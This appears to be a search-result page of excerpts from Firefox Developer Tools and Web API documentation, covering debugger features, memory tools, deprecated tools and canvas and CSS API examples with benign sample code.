JavaScript files loaded by the browser itself and by any add-ons that are running. Altogether you will have access to the following developer tools: Debugger (Note: If you want to debug a specific add-on that is restartless or SDK-based then try the Add-on Debugger.) Console Style Editor Performance Network Monitor Page Inspector Accessibility Inspector You can debug chrome: and about: pages us...
Debug worker threads - Firefox Developer Tools
Inspecting worker code For example, see the selected item worker.js below -- it is listed in a separate thread in the sources list, but appears in the source pane in the same way as main thread code when selected. Setting breakpoints, etc. ...
... Inspecting worker code For example, see the selected item worker.js below -- it is listed in a separate thread in the sources list, but appears in the source pane in the same way as main thread code when selected. Setting breakpoints, etc. ...
Examine, modify, and watch variables - Firefox Developer Tools
es additional information about the variable. See Object.defineProperty() for details on what these property descriptors mean. You can filter the variables that are displayed, either by using the "*" modifier in the script filter, or by typing into the filter variables box, if you have enabled this in the debugger settings. If a variable exists in the source but has been optimized away by the
JavaScript engine, then it is shown in the Variables view, but is given the value (optimized away), and is not editable. In the screenshot below the variable upvar has been optimized away: Modify variables When the code has stopped at a breakpoint, you can modify variables in the variables pane of the debugger. Just click on the variable's current value and you'll be able to type there: Watch an expr...
... Watch an expression Watch expressions are expressions that are evaluated each time execution pauses. You can then examine the results of these expressions. These are useful in that they let you inspect invariants in your code that you know are there but aren't necessarily in the code ready for inspection. To add a watch expression, click in the box that says "Add watch expression" and enter a
JavaScript expression whose output you'd like to monitor as you step through code. Then start running your code. The watch expression does nothing until you begin to step through your code, so nothing happens until you reach a breakpoint. At that point, a box showing your active watch expressions and their current values will appear: You can step through your code, watching the value of the expression a...
Use a source map - Firefox Developer Tools
In these situations, it's much easier to debug the original source, rather than the source in the transformed state that the browser has downloaded. A source map is a file that maps from the transformed source to the original source, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger. ...
...the source map include a comment in the transformed file, that points to the source map. The comment's syntax is like this: //# sourceMappingURL=http://example.com/path/to/your/sourcemap.map In the video above we load https://mdn.github.io/devtools-examples/sourcemaps-in-console/index.html. This page loads a source called "main.js" that was originally written in CoffeeScript and compiled to
JavaScript. The compiled source contains a comment like this, that points to a source map: //# sourceMappingURL=main.js.map In the Debugger's source list pane, the original CoffeeScript source now appears as "main.coffee", and we can debug it just like any other source. ...
Set event listener breakpoints - Firefox Developer Tools
Starting with Firefox 69, debugging an application that includes event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an event handler. This article explains how to use it. Using a standard event breakpoint To use an event breakpoint, you open up the
JavaScript debugger, and find and expand the Event Listener Breakpoints section in the right hand column. To break when event listeners are hit, check the boxes next the events you are interested in. All of the standard events supported in your version of Firefox are listed, arranged by which API or API area they're part of. Now when a keydown, keyup, keypress, or input event occurs, execution will pause as soon as it enters the listener code. When execution pauses, the source pan...
...steners are hit, check the boxes next the events you are interested in. All of the standard events supported in your version of Firefox are listed, arranged by which API or API area they're part of. Now when a keydown, keyup, keypress, or input event occurs, execution will pause as soon as it enters the listener code. When execution pauses, the source pane displays the highlighted line of the
JavaScript code that is next to be executed, along with the surrounding code for context. In addition, you get a box overlaid on the viewport saying "Paused on event breakpoint", with buttons to step over that line of code or resume execution. You could add regular breakpoints at the entry point of the listener to achieve the same effect. If however you have multiple elements, all of which have event liste...
Debugger.Environment - Firefox Developer Tools
the function, which receives var definitions) for a call to a functionf, then this property's value is a Debugger.Object instance referring tof. Otherwise, this property's value is null. optimizedOut True if this environment is optimized out. False otherwise. For example, functions whose locals are never aliased may present optimized-out environments. When true, getVariable returns an ordinary
JavaScript object whose optimizedOut property is true on all bindings, and setVariable throws a ReferenceError. Function Properties of the Debugger.Environment Prototype Object The methods described below may only be called with a this value referring to a Debugger.Environment instance; they may not be used as methods of other kinds of objects. names() Return an array of strings giving the names of t...
...of strings giving the names of the identifiers bound by this environment. The result does not include the names of identifiers bound by enclosing environments. getVariable(name) Return the value of the variable bound toname in this environment, or undefined if this environment does not bindname.Name must be a string that is a valid ECMAScript identifier name. The result is a debuggee value.
JavaScript engines often omit variables from environments, to save space and reduce execution time. If the given variable should be in scope, but getVariable is unable to produce its value, it returns an ordinary
JavaScript object (not a Debugger.Object instance) whose optimizedOut property is true. This is not an invocation function; if this call would cause debuggee code to run (say, because the environ...
Debugger.Script - Firefox Developer Tools
g is represented by a single JSScript object: The body of a function--that is, all the code in the function that is not contained within some nested function. The code passed to a single call to eval, excluding the bodies of any functions that code defines. The contents of a <script> element. A DOM event handler, whether embedded in HTML or attached to the element by other
JavaScript code. Code appearing in a
javascript: URL. The Debugger interface constructs Debugger.Script objects as scripts of debuggee code are uncovered by the debugger: via the onNewScript handler method; via Debugger.Frame's script properties; via the functionScript method of Debugger.Object instances; and so on. For a given Debugger instance, SpiderMonkey constructs exactly one Debugger.Script...
...en name. If the script's function has no name, SpiderMonkey attempts to infer an appropriate name for it given its context. For example: function f() {} // display name: f (the given name) var g = function () {}; // display name: g o.p = function () {}; // display name: o.p var q = { r: function () {} // display name: q.r }; Note that the display name may not be a proper
JavaScript identifier, or even a proper expression: we attempt to find helpful names even when the function is not immediately assigned as the value of some variable or property. Thus, we use a/b to refer to theb defined withina, and a< to refer to a function that occurs somewhere within an expression that is assigned toa. For example: function h() { var i = function() {}; // display name: h/i f(fu...
Deprecated tools - Firefox Developer Tools
arning message, as in the following image, when trying to activate a deprecated panel: In addition, if you open the panel for one of these tools, you will also see a warning message about its removal. Scratchpad Scratchpad is deprecated as of Firefox 70 (bug 1565380), and will be removed as of Firefox 72 (bug 1519103). Description Scratchpad provided an environment for experimenting with
JavaScript code. You can write, run, and examine the result of code that interacts with the web page. Alternatives In Firefox 71+, you can write multi-line
JavaScript code in the Web Console Editor Mode, making it similar to the Scratchpad. The Editor Mode can be triggered clicking on the icon on the right of the console input, or with Ctrl + B (Cmd + B on macOS) When in Editor Mode, the Enter key adds...
...g, the input isn't cleared, which makes it possible to quickly iterrate over a snippet of code. The results are displayed in the console output, to the right of the input, providing immediate feedback. Unlike in Scratchpad, errors are properly displayed in the output with an expandable stacktrace, making it easier to debug the code you're currently writing. Starting Firefox 72, you can import a
Javascript file content in the console input with Ctrl + O (Cmd + O on macOS), as well as saving the console input content to a file using Ctrl + S (Cmd + S on macOS). WebIDE and Connect page WebIDE was deprecated as of Firefox 69 Disabled as of Firefox 70 (bug 1539451). Removed as of Firefox 71 (bug 1539462). Description WebIDE allowed you to connect the Firefox Developer Tools to remote browsers, su...
Aggregate view - Firefox Developer Tools
by:" located at the top of the panel: There's also a box labeled "Filter" at the top-right of the pane. You can use this to filter the contents of the snapshot that are displayed, so you can quickly see, for example, how many objects of a specific class were allocated. Type This is the default view, which looks something like this: It groups the things on the heap into types, including:
JavaScript objects: such as Function or Array DOM elements: such as HTMLSpanElement or Window Strings: listed as "strings"
JavaScript sources: listed as "JSScript" Internal objects: such as "js::Shape". These are prefixed with "js::". Each type gets a row in the table, and rows are ordered by the amount of memory occupied by objects of that type. For example, in the screenshot above you can see that J...
... the call tree towards the top level. Let's see what the example looks like when we select "Inverted Call Stack": Now at the top we can immediately see the createToolbarButton() call accounting for 89% of the heap usage in our page. (no stack available) In the example above you'll note that 7% of the heap is marked "(no stack available)". This is because not all heap usage results from your
JavaScript. For example: any scripts the page loads occupy heap space sometimes an object is allocated when there is no
JavaScript on the stack. For example, DOM Event objects are allocated before the
JavaScript is run and event handlers are called. Many real-world pages will have a much higher "(no stack available)" share than 7%. ...
Dominators - Firefox Developer Tools
This article provides an introduction to the concepts of Reachability, Shallow versus Retained size, and Dominators, as they apply in garbage-collected languages like
JavaScript. These concepts matter in memory analysis, because often an object may itself be small, but may hold references to other much larger objects, and by doing this will prevent the garbage collector from freeing that extra memory. You can see the dominators in a page using the Dominators view in the Memory tool. With a garbage-collected language, like
JavaScript, the programmer doesn't generally have to worry about deallocating memory. They can just create and use objects, and when the objects are no longer needed, the runtime takes care of cleaning up, and frees the memory the objects occupied. Reachability In mo...
...In this system the heap is represented as one or more graphs. ...
Examine and edit HTML - Firefox Developer Tools
it has larger contents. Now children are indicated in the tree with this icon: At the right side of some nodes there are markers shown indicating different pieces of information related to it: event The element has one or several event listeners attached to it. Clicking the marker opens a tooltip listing the event listeners and allows you for each listener to switch to the line of
JavaScript code in the Debugger where the listener is defined. scroll The element is a scroll container, i.e. it has overflow: scroll or overflow: auto applied to it, and it has scrollable overflow. grid The element is a grid container, i.e. it has display: grid applied to it. Clicking the marker enables the grid highlighter. flex The element is a flex container, i.e. it ...
... display: inline-grid or display: inline grid applied to it. Clicking the marker enables the grid highlighter. inline-flex The element is an inline flex container, i.e. it has display: inline-flex or display: inline flex applied to it. Clicking the marker enables the flexbox highlighter. custom... The element is a custom element. Clicking the marker switches to the line of
JavaScript code in the Debugger where the custom element got defined. Note: There are some useful keyboard shortcuts that can be used in the HTML tree -- see the HTML pane keyboard shortcuts list. ::before and ::after You can inspect pseudo-elements added using ::before and ::after: Custom element definition When you open the Inspector on a page that includes custom elements, you can view the...
Allocations - Firefox Developer Tools
g us that, of the 8904 allocations seen in signalLater(), all but three came through the removeInner() branch. Allocations and garbage collection Of course, the memory allocated by a site is in itself useful information to know. But the main connection between the allocation profile of a site and its responsiveness is the cost of garbage collection (GC). ...
...itself useful information to know. But the main connection between the allocation profile of a site and its responsiveness is the cost of garbage collection (GC). With a garbage-collected language, like
JavaScript, the runtime periodically needs to walk the heap looking for objects that are no longer reachable, and then freeing the memory they occupy. While GC events like this are executing, the
JavaScript engine must be paused, so your program is suspended and will be completely unresponsive. To reduce the impact on responsiveness, SpiderMonkey (the
JavaScript engine in Firefox) can perform GC in small increments, letting the program run in between. Sometimes, though, it needs to perform a full non-incremental collection, and the program has to wait for it to finish. GC events are shown as red m...
UI Tour - Firefox Developer Tools
ust the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail: Details pane The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar. Waterfall The Waterfall presents a view of the work the browser is doing during the recording: executing
JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution. To learn much more about the Waterfall, see the separate Waterfall page. Call Tree The Call Tree is a sampling profiler for
JavaScript running in the page. It periodically samples th...
...CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution. To learn much more about the Waterfall, see the separate Waterfall page. Call Tree The Call Tree is a sampling profiler for
JavaScript running in the page. It periodically samples the state of the
JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code. To learn much more about the Call Tree, see the separate Call Tree page. Flame Chart If the Call ...
Shader Editor - Firefox Developer Tools
Note: This tool has been deprecated and will soon be removed from Firefox. For details, see Deprecated tools. The Shader Editor enables you to see and edit the vertex and fragment shaders used by WebGL. WebGL is a
JavaScript API for rendering interactive 3D graphics and 2D graphics in the browser without using plugins. ...
...alled shaders which are called at the appropriate stages of the OpenGL rendering pipeline: a vertex shader, which computes the clip space coordinates of each vertex to be drawn, and a fragment shader, which determines the color for each pixel to be drawn. These shaders are written in OpenGL Shading Language, or GLSL. In WebGL they can be included in a page in several ways: as text hardcoded in
JavaScript strings, as separate files included using <script> tags, or retrieved from the server as plain text.
JavaScript code running in the page then sends them for compilation using the WebGL APIs, and they're executed on the device's GPU when needed. With the Shader Editor, you can examine and edit the source of the vertex and fragment shaders. Here's another screencast, showing how you can use the S...
Toolbox - Firefox Developer Tools
for most of the developer tools that are built into Firefox. There are a few different ways to open the Toolbox: select "Toggle Tools" from the Web Developer menu (under "Tools" on OS X and Linux, or "Firefox" on Windows) click the wrench icon (), which is in the main toolbar or under the Hamburger menu (), then select "Toggle Tools" activate any tool hosted in the Toolbox (for example, the
JavaScript Debugger or the Page Inspector) press Ctrl + Shift + I on Windows and Linux, or Cmd + Opt + I on OS X. See also keyboard shortcuts. By default, the window appears docked to the bottom side of the Firefox window, but you can detach it if you like. This is what it looks like when it's docked: The window itself is split into two parts: a toolbar along the top, and a main pane underneath: Not...
...oat the window, and to close the window. Node picker On the far left there's a button to activate the node picker. This lets you select a page element for inspection. See "Selecting elements". Toolbox-hosted tools Then there is an array of labeled buttons which enables you to switch between the different tools hosted by the Toolbox. The array may include the following tools: Web Console
JavaScript Debugger Page Inspector Style Editor Profiler Network Monitor Note that not all the hosted tools are always listed here: only the tools actually available in this context are shown (for example, not all tools support remote debugging yet, so if the debugging target is not the Firefox instance that launched the window, not all the hosted tools will be shown). Extra tools Next there's an ar...
Web Console Helpers - Firefox Developer Tools
$(selector, element) Looks up a CSS selector string selector , returning the first node descended from element that matches. If unspecified, element defaults to document. Equivalent to document.querySelector() or calls the $ function in the page, if it exists. See the QuerySelector code snippet. $$(selector, element) Looks up a CSS selector string selector, returning an array of DOM nodes descended from element that match. If unspecified, element defaults to document. This is like for document.querySelectorAll(), but returns an array instead of a NodeList. $0 The currently-inspected element in the page. ...
...t can be an XPathResult constant, or a corresponding string: "number", "string", "bool", "node", or "nodes"; if not provided, ANY_TYPE is used. :block (Starting in Firefox 80) Followed by an unquoted string, blocks requests where the URL contains that string. In the Network Monitor, the string now appears and is selected in the Request Blocking sidebar. Unblock with :unblock. cd() Switches
JavaScript evaluation context to a different iframe in the page. This helper accepts multiple different ways of identifying the frame to switch to. You can supply any of the following: a selector string to be passed to document.querySelector to locate the iframe element the iframe element itself the content window inside the iframe See working with iframes. clear() Clears the console output...
Web Console UI Tour - Firefox Developer Tools
ist Logs: When enabled, the console doesn't clear on page reload, or new page load. Show Timestamps: When enabled, timestamps are shown on the left-hand side of each message row to say when the messages were logged. Group Similar Messages: When enabled, similar types of messages are grouped together, with an indicator of the number of occurrences. Enable Autocompletion: When enabled, the
JavaScript interpreter attempts to autocomplete while you type. Instant Evaluation: When enabled, the interpreter displays the evaluated results of an expression, when possible, before you press Enter to submit it. Message display pane This is where the messages appear, both those generated by the code in the page, and those generated by the commands entered on the command line. See Console mess...
... code in the page, and those generated by the commands entered on the command line. See Console messages for a lot more detail on what the messages can contain. Note: You can clear the contents of the console by entering the keyboard command Ctrl + Shift + L (Windows, macOS, and Linux) or Cmd + K on macOS. Command line The command line starts with double angle brackets (>>). Use it to enter
JavaScript expressions. In Firefox 71 onwards, there is a new "split pane" icon on the right hand side of the command line -- clicking this will open the new console multi-line mode. ...
AudioParam.value - Web APIs
Syntax var curValue = audioParam.value; audioParam.value = newValue; Value A floating-point Number indicating the parameter's value as of the current time. This value will be between the values specified by the minValue and maxValue properties. Usage notes Value precision and variation The data type used internally to store value is a single-precision (32-bit) floating point number, while
JavaScript uses 64-bit double-precision floating point numbers. As a result, the value you read from the value property may not always exactly equal what you set it to. Consider this example: const source = new AudioBufferSourceNode(...); const rate = 5.3; source.playbackRate.value = rate; console.log(source.playbackRate.value === rate); The log output will be false, because the playback rate parameter,...
...Node(...); const rate = 5.3; source.playbackRate.value = rate; console.log(source.playbackRate.value === rate); The log output will be false, because the playback rate parameter, rate, was converted to the 32-bit floating-point number closest to 5.3, which yields 5.300000190734863. One solution is to use the Math.fround() method, which returns the single-precision value equivalent to the 64-bit
JavaScript value specified--when setting value, like this: const source = new AudioBufferSourceNode(...); const rate = Math.fround(5.3); source.playbackRate.value = rate; console.log(source.playbackRate.value === rate); In this case, the log output will be true. Value of a property which is changing over time The value of an AudioParam can either be fixed or can vary over time. This is reflected by the ...
BaseAudioContext - Web APIs
BaseAudioContext.currentTime Read only Returns a double representing an ever-increasing hardware time in seconds used for scheduling. It starts at 0. BaseAudioContext.destination Read only Returns an AudioDestinationNode representing the final destination of all audio in the context. It ca...
...Context.createPanner() Creates a PannerNode, which is used to spatialise an incoming audio stream in 3D space. BaseAudioContext.createPeriodicWave() Creates a PeriodicWave, used to define a periodic waveform that can be used to determine the output of an OscillatorNode. BaseAudioContext.createScriptProcessor() Creates a ScriptProcessorNode, which can be used for direct audio processing via
JavaScript. BaseAudioContext.createStereoPanner() Creates a StereoPannerNode, which can be used to apply stereo panning to an audio source. BaseAudioContext.createWaveShaper() Creates a WaveShaperNode, which is used to implement non-linear distortion effects. BaseAudioContext.decodeAudioData() Asynchronously decodes audio file data contained in an ArrayBuffer. In this case, the ArrayBuffer is usually ...
Blob - Web APIs
The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system. Using blobs To construct a Blob from other non-blob objects and data, use the Blob() constructor. ...
...ntire contents of the Blob interpreted as UTF-8 text. Examples Creating a blob The Blob() constructor can create blobs from other objects. For example, to construct a blob from a JSON string: const obj = {hello: 'world'}; const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'}); Creating a URL representing the contents of a typed array The following code creates a
JavaScript typed array and creates a new Blob containing the typed array's data. It then calls URL.createObjectURL() to convert the blob into a URL. HTML <p>This example creates a typed array containing the ASCII codes for the space character through the letter Z, then converts it to an object URL. A link to open that object URL is created. Click the link to see the decoded object URL.</p> JavaS...
CSSStyleDeclaration.setProperty() - Web APIs
nal is a DOMString allowing the "important" CSS priority to be set. If not specified, treated as the empty string. The following values are accepted: String value "important" Keyword undefined String empty value "" Return value undefined Exceptions DOMException (NoModificationAllowedError): if the property or declaration block is read only. If priority can be omitted,
JavaScript has a special simpler syntax for setting a CSS property on a style declaration object: style.cssPropertyName = 'value'; Examples In this example we have three buttons, which can be pressed to dynamically alter our box paragraph's border, background color, and text color to random values (see the live example at the end of this section). We know that the rule we want to alter to do this is con...
... div button { flex: 1; margin: 20px; height: 30px; line-height: 30px; } .box { display: flex; justify-content: center; align-items: center; height: calc(100% - 70px); } .box p { width: 50%; text-align: center; font-weight: bold; font-size: 40px; height: 150px; line-height: 150px; background: red; border: 5px solid purple; color: white; transition: all 1s; }
JavaScript const borderBtn = document.querySelector('.border'); const bgColorBtn = document.querySelector('.bgcolor'); const colorBtn = document.querySelector('.color'); const box = document.querySelector('.box'); function random(min,max) { const num = Math.floor(Math.random()*(max-min)) + min; return num; } function randomColor() { return 'rgb(' + random(0,255) + ', ' + random(0,255) + ', ' + rand...
Managing screen orientation - Web APIs
thing slightly different than device orientation. Even if a device doesn't have the capacity to detect its own orientation, a screen always has one. And if a device is able to know its orientation, it's good to have the ability to control the screen orientation in order to preserve or adapt the interface of a web application. There are several ways to handle screen orientation, both with CSS and
JavaScript. ...
...adapt the interface of a web application. There are several ways to handle screen orientation, both with CSS and
JavaScript. The first is the orientation media query. This lets content adjust its layout using CSS, based on whether the browser window is in landscape mode (that is, its width is greater than its height) or portrait mode (its height is greater than its width). The second way is the
JavaScript Screen orientation API that can be used to get the current orientation of the screen itself and eventually lock it. Adjusting layout based on the orientation One of the most common cases for orientation changes is when you want to revise the layout of your content based on the orientation of the device. For example, perhaps you want a button bar to stretch along the longest dimension of the dev...
CSS Painting API - Web APIs
Concepts and usage Essentially, the CSS Painting API contains functionality allowing developers to create custom values for paint(), a CSS <image> function. You can then apply these values to properties like background-image to set complex custom backgrounds on an element. For example: aside { background-image: paint(myPaintedImage); } The API defines PaintWorklet, a worklet that can be used to programmatically generate an image that responds to computed style changes. ...
...mplements a subset of the CanvasRenderingContext2D API. It has an output bitmap that is the size of the object it is rendering to. PaintSize Returns the read-only values of the output bitmap's width and height. Dictionaries PaintRenderingContext2DSettings A dictionary providing a subset of CanvasRenderingContext2D settings. Examples To draw directly into an element's background using
JavaScript in our CSS, we define a paint worklet using the registerPaint() function, tell the document to include the worklet using the paintWorklet addModule() method, then include the image we created using the CSS paint() function. We create our PaintWorklet called 'hollowHighlights' using the registerPaint() function: registerPaint('hollowHighlights', class { static get inputProperties() { return ...
Using the CSS properties and values API - Web APIs
r property type checking, default values, and properties that do or do not inherit their value. Registering a custom property Registering a custom property allows you to tell the browser how the custom property should behave; what are allowed types, whether the custom property inherits its value, and what the default value of the custom property is. There are two ways to register a property, in
JavaScript or in CSS. Note: The
JavaScript option has working implementations. The CSS option does not. CSS.registerProperty The following will register a css custom properties, --my-prop, using CSS.registerProperty, as a color, give it a default value, and have it not inherit its value: window.CSS.registerProperty({ name: '--my-prop', syntax: '<color>', inherits: false, initialValue: '#c0ffee...
...se of that, it can't set up a transition from one value to another. When registered, though, you've told the browser what type of value it should expect, and because it knows that, it can then set up the transitions properly. Gotchas There are two gotchas when registering a property. The first is that, once a property is registered, there's no way to update it, and trying to re-register it with
JavaScript will throw an error indicating it's already been defined. Second, unlike standard properties, registered properties aren't validated when they're parsed. Rather, they're validated when they're computed. That means both that invalid values won't appear as invalid when inspecting the element's properties, and that including an invalid property after a valid one won't fall back to the valid propert...
CSS Properties and Values API - Web APIs
Properties and Values API -- part of the CSS Houdini umbrella of APIs -- allows developers to explicitly define their css custom properties, allowing for property type checking, default values, and properties that do or do not inherit their value. Interfaces CSS.registerProperty Defines how a browser should parse a css custom properties. Access this interface through CSS.registerProperty in
JavaScript. ...
...ues, and properties that do or do not inherit their value. Interfaces CSS.registerProperty Defines how a browser should parse a css custom properties. Access this interface through CSS.registerProperty in
JavaScript. @property Defines how a browser should parse a css custom properties. Access this interface through @property in CSS. ...
CSS Typed Object Model API - Web APIs
CSS Typed Object Model API provides interfaces to interact with underlying values, by representing them with specialized JS objects that can be manipulated and understood more easily and more reliably than string parsing and concatenation. ...
...CSS Typed Object Model API provides interfaces to interact with underlying values, by representing them with specialized JS objects that can be manipulated and understood more easily and more reliably than string parsing and concatenation. ...
CanvasRenderingContext2D.arc() - Web APIs
asured from the positive x-axis. endAngle The angle at which the arc ends in radians, measured from the positive x-axis. anticlockwise Optional An optional Boolean. If true, draws the arc counter-clockwise between the start and end angles. The default is false (clockwise). Examples Drawing a full circle This example draws a complete circle with the arc() method. HTML <canvas></canvas>
JavaScript The arc is given an x-coordinate of 100, a y-coordinate of 75, and a radius of 50. To make a full circle, the arc begins at an angle of 0 radians (0?), and ends at an angle of 2? radians (360?). const canvas = document.querySelector('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.arc(100, 75, 50, 0, 2 * Math.PI); ctx.stroke(); Result Different shapes demonstrated Thi...
...s at an angle of 0 radians (0?), and ends at an angle of 2? radians (360?). const canvas = document.querySelector('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.arc(100, 75, 50, 0, 2 * Math.PI); ctx.stroke(); Result Different shapes demonstrated This example draws various shapes to show what is possible with arc(). ...
CanvasRenderingContext2D.bezierCurveTo() - Web APIs
l point. cp1y The y-axis coordinate of the first control point. cp2x The x-axis coordinate of the second control point. cp2y The y-axis coordinate of the second control point. x The x-axis coordinate of the end point. y The y-axis coordinate of the end point. Examples How bezierCurveTo works This example shows how a cubic Bezier curve is drawn. ...
...tx.fillStyle = 'red'; ctx.beginPath(); ctx.arc(cp1.x, cp1.y, 5, 0, 2 * Math.PI); // Control point one ctx.arc(cp2.x, cp2.y, 5, 0, 2 * Math.PI); // Control point two ctx.fill(); Result In this example, the control points are red and the start and end points are blue. A simple Bezier curve This example draws a simple Bezier curve using bezierCurveTo(). HTML <canvas id="canvas"></canvas>
JavaScript The curve begins at the point specified by moveTo(): (30, 30). The first control point is placed at (120, 160), and the second at (180, 10). The curve ends at (220, 140). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(30, 30); ctx.bezierCurveTo(120,160, 180,10, 220,140); ctx.stroke(); Result Specifications Specif...
CanvasRenderingContext2D.clip() - Web APIs
ero winding rule. Default rule. "evenodd": The even-odd winding rule. path A Path2D path to use as the clipping region. Examples A simple clipping region This example uses the clip() method to create a clipping region according to the shape of a circular arc. Two rectangles are then drawn; only those parts within the clipping region are rendered. HTML <canvas id="canvas"></canvas>
JavaScript The clipping region is a full circle, with its center at (100, 75), and a radius of 50. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); // Create circular clipping region ctx.beginPath(); ctx.arc(100, 75, 50, 0, Math.PI * 2); ctx.clip(); // Draw stuff that gets clipped ctx.fillStyle = 'blue'; ctx.fillRect(0, 0, canvas.width, canvas.height); ctx.fillStyle...
...fillStyle = 'orange'; ctx.fillRect(0, 0, 100, 100); Result Specifying a path and a fillRule This example saves two rectangles to a Path2D object, which is then made the current clipping region using the clip() method. The "evenodd" rule creates a hole where the clipping rectangles intersect; by default (with the "nonzero" rule), there would be no hole. ...
CanvasRenderingContext2D.closePath() - Web APIs
ectly. You can render the path using the stroke() or fill() methods. Syntax void ctx.closePath(); Examples Closing a triangle This example creates the first two (diagonal) sides of a triangle using the lineTo() method. After that, the triangle's base is created with the closePath() method, which automatically connects the shape's first and last points. HTML <canvas id="canvas"></canvas>
JavaScript The triangle's corners are at (20, 150), (120, 20), and (220, 150). const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.moveTo(20, 140); // Move pen to bottom-left corner ctx.lineTo(120, 10); // Line to top corner ctx.lineTo(220, 140); // Line to bottom-right corner ctx.closePath(); // Line to bottom-left corner ctx.stroke(); ...
...ner ctx.lineTo(220, 140); // Line to bottom-right corner ctx.closePath(); // Line to bottom-left corner ctx.stroke(); Result Closing just one sub-path This example draws a smiley face consisting of three disconnected sub-paths. Note: Although closePath() is called after all the arcs have been created, only the last arc (sub-path) gets closed. HTML <canvas id="canvas"></canvas>
JavaScript The first two arcs create the face's eyes. The last arc creates the mouth. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.beginPath(); ctx.arc(240, 20, 40, 0, Math.PI); ctx.moveTo(100, 20); ctx.arc(60, 20, 40, 0, Math.PI); ctx.moveTo(215, 80); ctx.arc(150, 80, 65, 0, Math.PI); ctx.closePath(); ctx.lineWidth = 6; ctx.stroke(); Result Specificatio...
CanvasRenderingContext2D.createImageData() - Web APIs
opied. Return value A new ImageData object with the specified width and height. The new object is filled with transparent black pixels. Errors thrown IndexSizeError Thrown if either of the width or height arguments is zero. Examples Creating a blank ImageData object This snippet creates a blank ImageData object using the createImageData() method. HTML <canvas id="canvas"></canvas>
JavaScript The generated object is 100 pixels wide and 50 pixels tall, making 5,000 pixels in all. Each pixel within an ImageData object consists of four array values, so the object's data property has a length of 4 x 5,000, or 20,000. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const imageData = ctx.createImageData(100, 50); console.log(imageData); // ImageDat...
...5,000, or 20,000. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const imageData = ctx.createImageData(100, 50); console.log(imageData); // ImageData { width: 100, height: 50, data: Uint8ClampedArray[20000] } Filling a blank ImageData object This example creates and fills a new ImageData object with purple pixels. HTML <canvas id="canvas"></canvas>
JavaScript Since each pixel consists of four values, the for loop iterates by multiples of four. The array values associated with each pixel are R (red), G (green), B (blue), and A (alpha), in that order. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const imageData = ctx.createImageData(100, 100); // Iterate through every pixel for (let i = 0; i < imageData.data.
CanvasRenderingContext2D.createPattern() - Web APIs
Pattern An opaque object describing a pattern. Examples Creating a pattern from an image This example uses the createPattern() method to create a CanvasPattern with a repeating source image. Once created, the pattern is assigned to the canvas context's fill style and applied to a rectangle. ...
...n.realityripple.com/samples/04/aaeaf9aac4.png'; img.onload = function() { var pattern = ctx.createPattern(img, 'repeat'); ctx.fillStyle = pattern; ctx.fillRect(0, 0, 300, 300); }; Creating a pattern from a canvas In this example we create a pattern from the contents of an offscreen canvas. We then apply it to the fill style of our primary canvas, and fill that canvas with the pattern. ...
CanvasRenderingContext2D.drawImage() - Web APIs
age is not loaded yet. Use .complete === true and .onload to determine when it is ready. Examples Drawing an image to the canvas This example draws an image to the canvas using the drawImage() method. HTML <canvas id="canvas"></canvas> <div style="display:none;"> <img id="source" src="https://udn.realityripple.com/samples/db/f374e9c6fc.jpg" width="300" height="227"> </div>
JavaScript The source image is taken from the coordinates (33, 71), with a width of 104 and a height of 124. It is drawn to the canvas at (21, 20), where it is given a width of 87 and a height of 104. const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); const image = document.getElementById('source'); image.addEventListener('load', e => { ctx.drawImage(image, 33, 71, 1...
...oad an Image and specify the optional size parameters in its constructor, you will have to use the naturalWidth and naturalHeight properties of the created instance to properly calculate things like crop and scale regions, rather than element.width and element.height. The same goes for videoWidth and videoHeight if the element is a <video> element, and so on. ...
CanvasRenderingContext2D.ellipse() - Web APIs
ional Boolean which, if true, draws the ellipse anticlockwise (counter-clockwise). The default value is false (clockwise). Examples Drawing a full ellipse This example draws an ellipse at an angle of ?/4 radians (45?). To make a full ellipse, the arc begins at an angle of 0 radians (0?), and ends at an angle of 2? radians (360?). ...
...d'); // Draw the ellipse ctx.beginPath(); ctx.ellipse(100, 100, 50, 75, Math.PI / 4, 0, 2 * Math.PI); ctx.stroke(); // Draw the ellipse's line of reflection ctx.beginPath(); ctx.setLineDash([5, 5]); ctx.moveTo(0, 200); ctx.lineTo(200, 0); ctx.stroke(); Result Various elliptical arcs This example creates three elliptical paths with varying properties. ...
CanvasRenderingContext2D.fill() - Web APIs
illRule]); Parameters fillRule The algorithm by which to determine if a point is inside or outside the filling region. Possible values: "nonzero": The non-zero winding rule. Default rule. "evenodd": The even-odd winding rule. path A Path2D path to fill. Examples Filling a rectangle This example fills a rectangle with the fill() method. HTML <canvas id="canvas"></canvas>
JavaScript const canvas = document.getElementById('canvas'); const ctx = canvas.getContext('2d'); ctx.rect(10, 10, 150, 100); ctx.fill(); Result Specifying a path and a fillRule This example saves some intersecting lines to a Path2D object. The fill() method is then used to render the object to the canvas. A hole is left unfilled in the object's center by using the "evenodd" rule; by default (with th...
